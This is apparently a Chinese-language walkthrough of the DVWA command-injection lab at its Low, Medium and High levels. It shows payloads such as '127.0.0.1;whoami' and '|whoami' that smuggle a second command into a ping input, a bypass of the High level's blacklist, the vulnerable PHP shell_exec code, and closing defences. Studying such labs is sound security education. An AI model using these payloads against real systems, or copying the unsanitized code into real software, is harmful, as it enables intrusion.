0x01 简介
Command Injection漏洞,也就是我们常说的RCE(远程命令/脚本执行)漏洞。常用的连接符如下:
0x02 Command Injection -Low
当前页面给到了一个ping命令的回显
image.png
尝试各种连接符的使用:
- 分号前面的语句为真
127.0.0.1;whoami
,两条命令均会执行
image.png - 分号前面的语句为假,
;whoami
,仍会执行后面的语句
image.png - |前面的语句为真
127.0.0.1|whoami
,只执行了后面的语句
image.png - |前面的语句为假
|whoami
,仍然只执行了后面的语句
image.png - ||前面的语句为真
127.0.0.1||whoami
,只执行了前面的语句
image.png - ||前面的语句为假
||whoami
,执行了后面的语句
image.png - &前面的语句为真
127.0.0.1&whoami
,只执行了前面的语句
image.png - &前面的语句为假
&whoami
,执行了后面的语句
image.png - &&前面的语句为真
127.0.0.1&&whoami
,两条语句都执行
image.png - &&前面的语句为假
&&whoami
,两条语句都不执行
image.png - 命令替换
||echo ·whoami·
image.png
总结
Windows系统:- |:只执行后面的语句。
- ||:如果前面的语句执行失败,则执行后面的语句。
- &:两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
- &&:如果前面的语句为假,则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。
Linux系统: - ;:执行完前面的语句再执行后面的语句,当有一条命令执行失败时,不会影响其它语句的执行。
- |(管道符):只执行后面的语句。
- ||(逻辑或):只有前面的语句执行出错时,执行后面的语句。
- &(后台任务符):两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
- &&(逻辑与):如果前面的语句为假则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。
- ``(命令替换):当一个命令被解析时,它首先会执行反引号之间的操作。例 echo
whoami
代码如下:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
0x03 Command Injection -Medium
使用||whoami命令直接执行成功
image.png
查看代码看下这关做了什么限制
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
从代码中可以看到medium等级是对&& 和 ; 字符进行了转空操作,本质上属于黑名单限制。但我们仍可以使用||、|、&等连接符进行命令执行
0x04 Command Injection -High
|whoami语句直接执行成功,但||whoami执行失败,猜测是做了更多的黑名单过滤,看下源代码。
image.png
Command Injection Source
vulnerabilities/exec/source/high.php
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
黑名单里确实多了不少限制,但|后面有个空格,而我使用的命令|whoami没有空格,从而绕过了黑名单的限制。
0x05 RCE漏洞防御方法
- 不执行外部的应用程序或命令
尽可能的使用自定义函数或者函数库来避免使用外部应用程序或命令,确实要使用如system、eval等函数的话,要确认参数。 - 使用 escapeshellarg 函数处理用户输入的相关参数
- 使用 safe_mode_exec_dir 限制可执行命令的文件路径